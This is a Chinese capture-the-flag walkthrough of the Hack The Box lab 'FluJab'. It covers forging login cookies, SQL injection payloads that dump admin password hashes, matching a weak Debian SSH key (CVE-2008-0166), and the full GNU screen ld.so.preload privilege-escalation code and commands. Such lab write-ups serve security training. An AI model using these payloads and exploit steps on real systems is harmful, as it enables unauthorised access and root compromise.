HTB-靶机-FluJab
作者:互联网
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.124
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.124 -o ./FluJab-autorecon
根据扫描结果,含有大量域名,这里提前先绑定好hosts信息
10.10.10.124 clownware.htb proxy.clownware.htb console.flujab.htb sys.flujab.htb smtp.flujab.htb vaccine4flu.htb bestmedsupply.htb custoomercare.megabank.htb flowerzrus.htb chocolateriver.htb meetspinz.htb rubberlove.htb freeflujab.htb flujab.htb
域名比较多,需要访问多个域名进行测试发现,这里使用工具aquatone进行批量探索,具体链接地址:https://github.com/michenriksen/aquatone/releases 经过不断的测试最终发现域名https://freeflujab.htb是可利用的,本靶机存在waf防护,直接访问IP地址会显示被拦截
点击上了上面的每个功能页面,通过burpsuite抓包
总结模块信息
Patient=74f85ae35abd655f80b6a74ff5d172ec Registered=NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9TnVsbA%3D%3D Modus=Q29uZmlndXJlPU51bGw%3D path=/?smtp_config
上面信息大概意思是发送登录请求服务的会响应设置cookie信息,并告知请求的路径/?smtp_config ,其中模块Modus和Registered的属性值是经过base64编码,且最后的等于号(=)进行了url编码,所以我们将其整体的解码一边看看
从上面可以发现未登录之前cookie带的信息值是Null,访问?logout 的时候cookie值同样显示跟上面类似的信息,所以经过测试发现可以通过更改cookie属性值将其从Null更改为True即可绕过登录访问被限制的页面,下面是最终需要更改为True的编码值
Q29uZmlndXJlPU51bGw%3D Configure=Null Configure=Ture Q29uZmlndXJlPVRydWU%3D ------------------------- NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9TnVsbA%3D%3D 74f85ae35abd655f80b6a74ff5d172ec=Null NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9VHJ1ZQ%3D%3D 74f85ae35abd655f80b6a74ff5d172ec=True -------------------------------------
下面是配置burpsuite使其自动的替换Cookie属性值 ^Cookie.*$ 替换为 Cookie: Modus=Q29uZmlndXJlPVRydWU%3D; Patient=74f85ae35abd655f80b6a74ff5d172ec; Registered=NzRmODVhZTM1YWJkNjU1ZjgwYjZhNzRmZjVkMTcyZWM9VHJ1ZQ%3D%3D
上述配置完成,开始访问/?smtp_config,这里刚开始准备在输入框写入IP地址,但是不被允许,然后尝试使用burpsuite拦截数据包再填写即可成功
上述是配置修改为IP地址,完成之后重新刷新页面再次请求/?smtp_config
到了此步说明已经将目标靶机连接到本地kali搭建的邮件服务器,这里使用python搭建简单的邮件服务,具体如下:
一条命令搭建
python -m smtpd -n -c DebuggingServer :25
一段代码搭建
import asyncore from smtpd import SMTPServer class EmlServer(SMTPServer): no = 0 def process_message(self, peer, mailfrom, rcpttos, data): print data self.no += 1 def run(): foo = EmlServer(('10.10.14.6', 25), None) try: asyncore.loop() except KeyboardInterrupt: pass if __name__ == '__main__': run()
得到上面页面有显示一个白名单页面的链接:whitelisted sysadmins 点击一下即可添加当前kali的IP地址为白名单
准备好上面的之后尝试访问/?remind开启burpsuite进行拦截并修改请求数据包,添加发送的邮件信息
添加邮件信息
成功收到邮件信息
测试发现,此处存在sql注入漏洞,具体如下
手动注入语句
or 1=1-- -
or 1=2-- -
UNION SELECT 1,2,3,4,5 -- -
UNION SELECT 1,2,concat(loginname,':',password,':',access),4,5 FROM admin -- -
最终注入出来账户和密码以及登录的新域名地址
密码hash sysadm:a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602:sysadmin-console-01.flujab.htb 解密出来密码是:th3doct0r
绑定hosts信息
10.10.10.124 sysadmin-console-01.flujab.htb
访问此域名地址并使用账户和密码登录到了此步后面就比较简单了,登录进去之后有个notepad功能,可以通过此功能进行查看目标靶机的文件内容,这里查看了目标靶机的/etc/passwd,和每个用户家目录的信息,最后发现用户drno存在公钥,内容如下
# shell whitelisting + key auth enabled ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=
看了下目标靶机的系统版本是debian又看到其他用户的目录公钥信息及提示,确认存在漏洞 https://www.cvedetails.com/cve/CVE-2008-0166 可以通过https://github.com/g0tmi1k/debian-ssh/tree/master/uncommon_keys下的私钥进行比对获取对应的私钥登录目标
通过取出公钥最后一段字符进行比对得到如下
将其复制到本地给其权限600然后登录目标,显示如下
上述显示保存,可判断为目标靶机使用了TCP Wrapper 进行安全限制,可以通过在 /etc/hosts.allow添加自己的IP地址进行绕过登录,我在这里测试的时候卡了一段实际,手动通过页面添加显示成功,但死活连接不上,后来通过api的形式添加成功才可以登录,相关api文档,可以参考:http://docs1.ajenti.org/en/latest/index.html http://docs.ajenti.org/en/latest/refjs/filesystem.html
下面是/etc/hosts.deny的白名单配置
最终连接成功,获取user.txt
此处还有另外一种方式登录目标靶机,因为在查看目标靶机存在哪些用户的时候,刚好也发现存在用户sysadm,这用户也刚好是登录靶机的web应用的账户,而且查看/etc/ssh/sshd_config配置的发现配置文件里面配置了登录目标靶机的公钥配置了别名,具体如下:
AuthorizedKeysFile .ssh/authorized_keys access
所以我们可以通过本地生成私钥和公钥,然后通过上述的web应用-sysadmin将生成的公钥写入到名称为access的文件里面,位置就在用户sysadm的家目录下面即可,这里通过api的形式添加最稳定靠谱,具体的api操作演示就不做了,我们看看结果
ssh-keygen -t rsa -f bmfx -N bmfx -f 指定密钥文件名 -t 指定密钥类型 -N 指定生成此密钥的密码
登录进去发现是个受限制的rbash,这个前面靶机有演示过
开始提权,查找suid文件
发现两个screen,确认这两个screen的版本,发现其中一个存提权漏洞,参考:https://www.exploit-db.com/exploits/41154 此漏洞提权前面靶机也演示过,正常情况下丢到目标靶机直接执行脚本即可提权,但是测试发现目标靶机并没有gcc环境,所以需要自己在本地kali中编译好环境然后传到目标靶机进行提权即可
第一步 cat << EOF > libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF 第二步 gcc -fPIC -shared -ldl -o libhax.so libhax.c 第三步 cat << EOF > rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF 第四步 gcc -o rootshell rootshell.c 第五步 cd /etc umask 000 /usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" 第六步 执行提权文件rootshell
标签:htb,__,HTB,登录,https,FluJab,靶机,3D 来源: https://www.cnblogs.com/autopwn/p/14178650.html